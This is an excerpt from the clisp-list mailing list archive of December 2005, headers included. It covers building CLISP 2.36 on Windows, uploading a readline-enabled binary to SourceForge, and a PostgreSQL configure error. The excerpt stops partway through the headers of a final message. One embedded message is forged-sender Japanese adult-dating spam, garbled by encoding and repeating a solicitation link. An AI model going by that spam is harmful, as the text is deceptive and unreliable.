X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net, Frank Buss Subject: Re: [clisp-list] Re: Building CLISP on Windows fails References: <43AFE812.8080709@jenty.by> In-Reply-To: <43AFE812.8080709@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 01:42:07 2005 X-Original-Date: Tue, 27 Dec 2005 11:43:18 +0200 >>Yaroslav, do you observe this crash? > > > clisp from CVS head, mingw, win2k. Build and test without crash. > > I shall soon try clisp-2.36 from sf.net > clisp-2.36 from sf.net, mingw, win2k. Build and test without crash. Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Dec 27 07:21:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErGdh-0001xQ-4Y for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 07:21:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErGdc-000724-IK for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 07:21:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.69]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBRFKjCU003061; Tue, 27 Dec 2005 10:20:50 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43B0F614.2080205@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 27 Dec 2005 10:06:44 +0200") References: <43B0F614.2080205@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 07:22:07 2005 X-Original-Date: Tue, 27 Dec 2005 10:19:47 -0500 > * Yaroslav Kavenchuk [2005-12-27 10:06:44 +0200]: > > Sam Steingold wrote: > >> I don't care - but please make sure that all the required libraries >> _are_ included in the zip file. >> you should try to install the distribution you build on a machine >> without mingw and see if it works. >> > > I build and test distribution. How it upload to upload.sf.net:/incoming? use ftp: $ ftp upload.sf.net anonymous kavenchuk@jenty.by cd incoming bin unix put clisp-2.36-win32-with-readline.zip -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.mideasttruth.com/ http://www.memri.org/ http://www.camera.org http://ffii.org/ Ernqvat guvf ivbyngrf QZPN. From kavenchuk@tut.by Tue Dec 27 12:57:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErLtM-0000tZ-Ly for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 12:57:56 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErLtL-0008EH-I8 for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 12:57:56 -0800 Received: from [194.158.220.60] (account kavenchuk HELO [194.158.220.60]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 40353656; Tue, 27 Dec 2005 22:57:31 +0200 Message-ID: <43B1AACB.8020708@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: Win32 binary with readline support References: <43B0F614.2080205@jenty.by> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 12:58:25 2005 X-Original-Date: Tue, 27 Dec 2005 22:57:47 +0200 Sam Steingold wrote: >use ftp: >$ ftp upload.sf.net >anonymous >kavenchuk@jenty.by >cd incoming >bin >unix >put clisp-2.36-win32-with-readline.zip > > > I do it, but attempt is failure - abort connection. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Dec 27 13:28:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErMMs-0002LL-Ds for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 13:28:26 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErMMn-00012q-Qf for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 13:28:26 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.69]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBRLRtiK018289; Tue, 27 Dec 2005 16:27:56 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43B1AACB.8020708@tut.by> (Yaroslav Kavenchuk's message of "Tue, 27 Dec 2005 22:57:47 +0200") References: <43B0F614.2080205@jenty.by> <43B1AACB.8020708@tut.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 13:29:03 2005 X-Original-Date: Tue, 27 Dec 2005 16:26:59 -0500 > * Yaroslav Kavenchuk [2005-12-27 22:57:47 +0200]: > > Sam Steingold wrote: > >>use ftp: >>$ ftp upload.sf.net >>anonymous >>kavenchuk@jenty.by >>cd incoming >>bin >>unix >>put clisp-2.36-win32-with-readline.zip >> >> >> > I do it, but attempt is failure - abort connection. OK, could you please make it available to me via http? thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.iris.org.il http://www.camera.org http://truepeace.org http://ffii.org/ http://www.openvotingconsortium.org/ I'm out of my mind, but feel free to leave a message... From sds@gnu.org Tue Dec 27 14:44:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErNYH-0005xV-LY for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 14:44:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErNYF-0003wm-6m for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 14:44:17 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.69]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBRMhmlo020893; Tue, 27 Dec 2005 17:43:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Thu, 22 Dec 2005 08:58:32 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 14:45:04 2005 X-Original-Date: Tue, 27 Dec 2005 17:42:52 -0500 > * Tomas Zellerin [2005-12-22 08:58:32 +0100]: > > does anyone have somewhere for download? The sf version does > not seem to have readline included. Yaroslav built such a distribution and it is now available on SF as clisp-2.36-win32-with-readline-and-gettext.zip Thanks Yaroslav! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.savegushkatif.org http://ffii.org/ http://truepeace.org http://www.memri.org/ http://www.iris.org.il Let us remember that ours is a nation of lawyers and order. From mm_loversgods@yahoo.com Tue Dec 27 19:35:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErS6T-0003LC-8x for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 19:35:53 -0800 Received: from p92b66f.tokynt01.ap.so-net.ne.jp ([59.146.182.111] helo=mail.sourceforge.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1ErS6P-0007mF-JS for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 19:35:53 -0800 From: "mm_loversgods" To: clisp-list@lists.sf.net Message-ID: <401Q3sx8lL.7676@yahoo.com> X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] =?ISO-2022-JP?B?GyRCODU1JD1QJDckRiRNGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 19:37:06 2005 X-Original-Date: Tue Dec 27 19:36:05 2005 E*™*EE*™*EE*™*EE*™*E*™*E*™*E*™*E*™*E @@@@@@–Z„«‚µ„«‚¢„«‚ „«‚È„«‚½„«‚É„«@@ @@@@@@„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®@@@ @@@‚³„«‚³„«‚â„«‚©„«‚È„«–ü„«‚â„«‚µ„«‚ð„«I„«@@ @@@„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®„ª„®@@@ E*™*E*™*EE*™*EE*™*EE*™*E*™*E*™*E*™*E :*.™B@@@@@@@@@@@@@@@@@@@@@@B™.*: @@@@@@h“úí‚É­‚µ”æ‚ꂽ‚çch @@@@@@‚¢‚Ü‚·‚®‚²—˜—p‰º‚³‚¢I @@@@@@Š®‘S–³—¿‚Å‚²—˜—po—ˆ‚Ü‚·B @@@@@@‚ ‚܂莞ŠÔ‚ðŽæ‚ê‚È‚¢•û‚Å‚àŠy‚µ‚߂܂·B @@@@@@‚à‚¿‚ë‚ñA‚¶‚Á‚­‚è‚Æƒp[ƒgƒi[‚ð’T‚µ‚½‚¢•û‚É‚àÅ“K‚Å‚·B @@@@@@­‚µ‚¦‚Á‚¿‚ȑ̌±‚ðŠó–]‚³‚ê‚é•û‚©‚çA @@@@@@^Œ•‚É—öl‚ð’T‚³‚ê‚Ä‚¢‚é•û‚Ü‚ÅA @@@@@@•L‚¢•û‚ª‚²—˜—p‚³‚ê‚Ä‚¢‚Ü‚·B ========================================================= @@‚±‚ñ‚È•û‚ɃIƒXƒXƒ‚µ‚Ü‚·ô @@‰ñ@Eê‚Ɉ٫‚ª‘S‘R‚¢‚È‚¢‚Ì‚ÅAo‰ï‚¢‚ð‹‚ß‚ÄB @@‰ñ@¡‚܂łƂ͈Ⴄ¢ŠE‚Ìl‚Æ‚Ìo‰ï‚¢‚ð‹‚ß‚ÄB @@‰ñ@—‘z‚Ì‘ŠŽè‚ð‚ä‚Á‚­‚è‚Æ’T‚µ‚½‚¢B @@‰ñ@ˆêl‚ÌŽžŠÔAŽâ‚µ‚³‚𖄂߂鑊Žè‚ª—~‚µ‚¢ -™--Š®‘S–³—¿‚ňÀS‚Ìo‰ï‚¢--™- @@@@ ‚²—˜—p—¿‹à  ALL \0!! @@@‘S‚ẴT[ƒrƒX‚ª–³—¿‚ÅŠy‚µ‚ß‚éI @@„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ @@@™@“o˜^@@@@‚O‰~I @@@™@ƒ[ƒ‹‘—M@‚O‰~I @@@™@ƒ[ƒ‹ŽóM@‚O‰~I @@@™@‘ž‚Ý@@@‚O‰~I @@@™@Œfަ”‰{——@‚O‰~I @@@™@’¼ƒAƒhŒðŠ·@‚O‰~I @@@™@’¼“dŒðŠ·@@‚O‰~I @@@™@‘Þ‰ï@@@@‚O‰~I @@«‚±‚¿‚ç‚©‚ç‚Ç‚¤‚¼« @@http://matchjp.com/index.html?media=pc326 @@ @^^™—«‰ïˆõ‚ÌÅV“Še™__ @cccc™cccc™cccc™cccc™cccc™cccc @‚³‚‚«‚³‚ñ@32Î @Ž—‚Ä‚¢‚éŒ|”\l@’|“àŒ‹Žq‚³‚ñ @ƒoƒcƒCƒ`32΂łà\‚¢‚Ü‚¹‚ñ‚©H¡–鑦ƒAƒ|‚¨Šè‚¢o—ˆ‚Ü‚·‚©H @¡ŽdŽ–‹A‚è‚È‚ñ‚Å‚·‚¯‚ÇA’©‚©‚ç–³«‚É—Ò‚µ‚­‚È‚Á‚Ä @“o˜^‚µ‚Ä‚µ‚Ü‚¢‚Ü‚µ‚½B‚±‚ñ‚ÈŽ„‚Å‚à‘ŠŽè‚É‚µ‚Ä‚à‚炦‚Ü‚·‚©H @•½“ú‚ª‹x‚݂Ȃ̂ÅA“ú’†‚Å‚à\‚í‚È‚¢‚Å‚·‚µA¡–é’x‚­‚Å‚à\‚¢‚Ü‚¹‚ñB @‚¨‰ï‚¢‚Å‚«‚Ü‚¹‚ñ‚©H @“÷‘ÌŠÖŒW‚¾‚¯‚Ì‚¨•t‡‚¢‚Å‚à¸_“I‚ȉ·‚à‚è‚ÌŠÖŒW‚Å‚à\‚¢‚Ü‚¹‚ñB @l”§‚ª—ö‚µ‚­‚Äc¡“ú‚͉½‚©—\’è‚ ‚è‚Ü‚·‚©H @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc326 @cccc™cccc™cccc™cccc™cccc™cccc @‚肳‚³‚ñ@21Î @Ž—‚Ä‚¢‚éŒ|”\l@‹g‰ª”ü•䂳‚ñ @‚¢‚‚łà\‚¢‚Ü‚¹‚ñB @ŽdŽ–‚ªI‚í‚Á‚½Œã‚©AŽdŽ–‚ª‹x‚݂̓ú‚É”ZŒú‚ȃZƒbƒNƒX‚µ‚Ü‚¹‚ñ‚©H @ŽÊ^‚ÍæŒŽƒTƒCƒg‚ʼnï‚Á‚½l‚Ƃ̎Ê^‚È‚ñ‚Å‚·‚¯‚ÇA @‚©‚È‚è‚̕ϑԂŔR‚¦‚Ü‚µ‚½B @•ϑԂ¾‚Á‚½‚çÅ‚‚È‚ñ‚¾‚¯‚Çc•ϑԂł·‚©H @ŽÊ^ˆÈã‚Ì‚±‚Æ‚µ‚Ä‚­‚ê‚é‚Ȃ硂©‚çŽÔo‚µ‚Ü‚·B @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc326 @cccc™cccc™cccc™cccc™cccc™cccc @‚ä‚Ý‚±‚³‚ñ@30Î@ @Ž—‚Ä‚¢‚éŒ|”\l@ˆÉ“¡—TŽq‚³‚ñ @•v‚ÍŠCŠOA–º‚Í—·s‚É”‘‚è‚És‚Á‚Ä‚¢‚Ü‚·B @100“–ñ‘©‚ÍŽç‚è‚Ü‚·A’ml‚ÌŽG‰Ý‰®‚Å‚½‚܂ɓ­‚¢‚Ă܂·B @–ž‘«‚µ‚Ä‚à‚炦‚邿‚¤‚ÉŠæ’£‚è‚Ü‚·B @•v‚ÍŽ„‚Ìg‘Ì‚É‚à‚¤–O‚«‚Ä‚¢‚é‚©A @‚½‚܂ɓú–{‚É‹A‚Á‚Ä‚«‚Ä‚à‘ŠŽè‚ð‚µ‚Ä‚­‚ê‚Ü‚¹‚ñB @‚¨‹à‚𕥂¤‚̂Ŏ„‚Ì—ûK‘ä‚ɂȂÁ‚Ä‚­‚ê‚Ü‚¹‚ñ‚©H @ƒ_ƒŒ³‚Å‚¨Šè‚¢‚µ‚Ä‚¢‚Ü‚·‚ª‚Å‚«‚ê‚΂¨•ÔŽ–‘Ò‚Á‚Ă܂·(^-^) @cccc™cccc™cccc™cccc™cccc™cccc @–³—¿“o˜^F@http://matchjp.com/index.html?media=pc326 @cccc™cccc™cccc™cccc™cccc™cccc @¦ˆÀ‘S‚É‚²—˜—p’¸‚­‚½‚ßA @@Š®‘S‰ïˆõŒÀ’è‚̃T[ƒrƒX‚Æ‚³‚¹‚Ä’¸‚¢‚Ä‚¨‚è‚Ü‚·B @@‚²—˜—p‚Í“o˜^‚©‚ç‘Þ‰ï‚܂Š@@‘SƒT[ƒrƒX‚ª–³—¿‚Å‚¨Šy‚µ‚Ý’¸‚¯‚Ü‚·B http://matchjp.com/index.html?media=pc326 From wolfjb@bigfoot.com Tue Dec 27 21:15:58 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErTfH-0007L7-QN for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 21:15:55 -0800 Received: from adsl-66-137-165-77.dsl.okcyok.swbell.net ([66.137.165.77] helo=public.nontrivial.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ErTfG-0005L8-7V for clisp-list@lists.sourceforge.net; Tue, 27 Dec 2005 21:15:55 -0800 Received: from localhost (localhost [127.0.0.1]) (uid 48) by public.nontrivial.org with local; Tue, 27 Dec 2005 23:15:48 -0600 id 0003EA42.43B21F84.00005035 Received: from 70.168.64.167 (SquirrelMail authenticated user jeff) by mail.nontrivial.org with HTTP; Tue, 27 Dec 2005 23:15:48 -0600 (CST) Message-ID: <5299.70.168.64.167.1135746948.squirrel@mail.nontrivial.org> From: "Jeff Bowman" To: clisp-list@lists.sourceforge.net Reply-To: wolfjb@bigfoot.com User-Agent: SquirrelMail/1.4.4-1.FC3 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) Importance: Normal X-Mime-Autoconverted: from 8bit to 7bit by courier 0.49 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] build question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 27 21:16:03 2005 X-Original-Date: Tue, 27 Dec 2005 23:15:48 -0600 (CST) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have tried to build clisp on Debian unstable to get postgres support. I tried this command line: ./configure --with-readline --with-dynamic-ffi --with-dynamic-modules - --with-module=bindings/glibc --with-module=postgresql - --with-libpq-prefix=/usr --with-module=rawsock --with-module=regexp - --with-module=syscalls --with-module=wildcard --with-module=zlib --build build-1 and I get this error: configure: * PostgreSQL (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking whether time.h and sys/time.h may both be included... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking postgres_ext.h usability... no checking postgres_ext.h presence... no checking for postgres_ext.h... no configure: error: cannot find PostgreSQL headers make: *** [postgresql] Error 1 I have run apt-get install libpq-dev which installs header files into /usr/include/postgresql. However, it seems that directory is not being included in the search for headers. I have also tried setting the INCLUDES environment variable to /usr/include/postgresql to no avail. Can someone point me to what I'm doing wrong? I have tried with the source tarball (clisp-2.36-tar.bz2) from sourceforge as well as the cvs tarball (clisp-cvsroot.tar.bz2). Thanks, Jeff -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.7 (GNU/Linux) iD8DBQFDsh+EcZdQORGez0sRAjZHAJ4/Fv3AO4SgiGpvRNX6E0iSLnCWOACgp+8R Y+wAP1JdJtguNc+8tTDDqsU= =BEGZ -----END PGP SIGNATURE----- From kavenchuk@tut.by Wed Dec 28 13:40:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Erj2H-0002sB-TV for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 13:40:41 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Erj2G-0005qL-BF for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 13:40:42 -0800 Received: from [82.209.240.198] (account kavenchuk HELO [82.209.240.198]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 40926175; Wed, 28 Dec 2005 23:39:58 +0200 Message-ID: <43B30646.2060300@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net, Frank Buss Subject: Re: [clisp-list] Re: Building CLISP on Windows fails References: <43AFE812.8080709@jenty.by> <43B10CB6.9000404@jenty.by> In-Reply-To: <43B10CB6.9000404@jenty.by> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 13:41:02 2005 X-Original-Date: Wed, 28 Dec 2005 23:40:22 +0200 Yaroslav Kavenchuk wrote: >>>Yaroslav, do you observe this crash? >>> >>> >>clisp from CVS head, mingw, win2k. Build and test without crash. >> >>I shall soon try clisp-2.36 from sf.net >> >> >> > >clisp-2.36 from sf.net, mingw, win2k. Build and test without crash. > > winxp - build and test is ok. Thanks. -- WBR, Yaroslav Kavenchuk. From fb@frank-buss.de Wed Dec 28 14:00:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErjLH-0003ni-RU for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 14:00:19 -0800 Received: from smtp1.netcologne.de ([194.8.194.112]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ErjLG-0007PI-L0 for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 14:00:20 -0800 Received: from galilei (xdsl-84-44-130-15.netcologne.de [84.44.130.15]) by smtp1.netcologne.de (Postfix) with ESMTP id 4392D38E06 for ; Wed, 28 Dec 2005 23:00:09 +0100 (MET) From: "Frank Buss" To: Subject: RE: [clisp-list] Re: Building CLISP on Windows fails MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: Thread-Index: AcYL91gg1BUC8xBsRL+g7tt6JQJe/QAAK/QgAAB7W4A= Message-Id: <20051228220009.4392D38E06@smtp1.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 28 14:01:03 2005 X-Original-Date: Wed, 28 Dec 2005 23:00:13 +0100 > >clisp-2.36 from sf.net, mingw, win2k. Build and test without crash. > > =20 > > > winxp - build and test is ok. this is strange, because I've tried it on two Windows XP=20 computers (both with service pack 2). I have no problems with=20 the CVS version from 2 days ago, but with the release=20 clisp-2.36 it crashed while building. And at least in=20 http://sourceforge.net/mailarchive/message.php?msg_id=3D14290653 Sam Steingold wrote, that there is a known problem in 2.36,=20 so it is not possible that the test is ok. Can you post your system configuration? I've used=20 MinGW-4.1.1.exe, MSYS-1.0.10.exe, clisp-2.36.tar.gz and=20 libsigsegv-2.2.tar.gz like described at=20 http://www.frank-buss.de/lisp/clisp.html . "gcc --version"=20 says "gcc.exe (GCC) 3.4.2 (mingw-special)". And I have set=20 the path to ".:/bin:/usr/bin:/mingw/bin" before building to=20 prevent using other programs than the mingw programs, only. I've seen somewhere in the CLISP make files that it is=20 possible to download and build GCC, too. Perhaps this is=20 better for reproducable results and I should add it to my howto? But then again it is not so important, because the CVS=20 version works :-) --=20 Frank Bu=DF, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From jimka@rdrop.com Wed Dec 28 16:17:41 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ErlUD-0001y4-L2 for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 16:17:41 -0800 Received: from agora.rdrop.com ([199.26.172.34] ident=0) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ErlUC-0000T0-Cb for clisp-list@lists.sourceforge.net; Wed, 28 Dec 2005 16:17:41 -0800 Received: from [192.168.5.160] (port-212-202-193-47.dynamic.qsc.de [212.202.193.47]) (authenticated bits=0) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id jBT0HVKL015867 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Wed, 28 Dec 2005 16:17:33 -0800 (PST) (envelope-from jimka@rdrop.com) From: Jim Newton To: clisp-list@lists.sourceforge.net 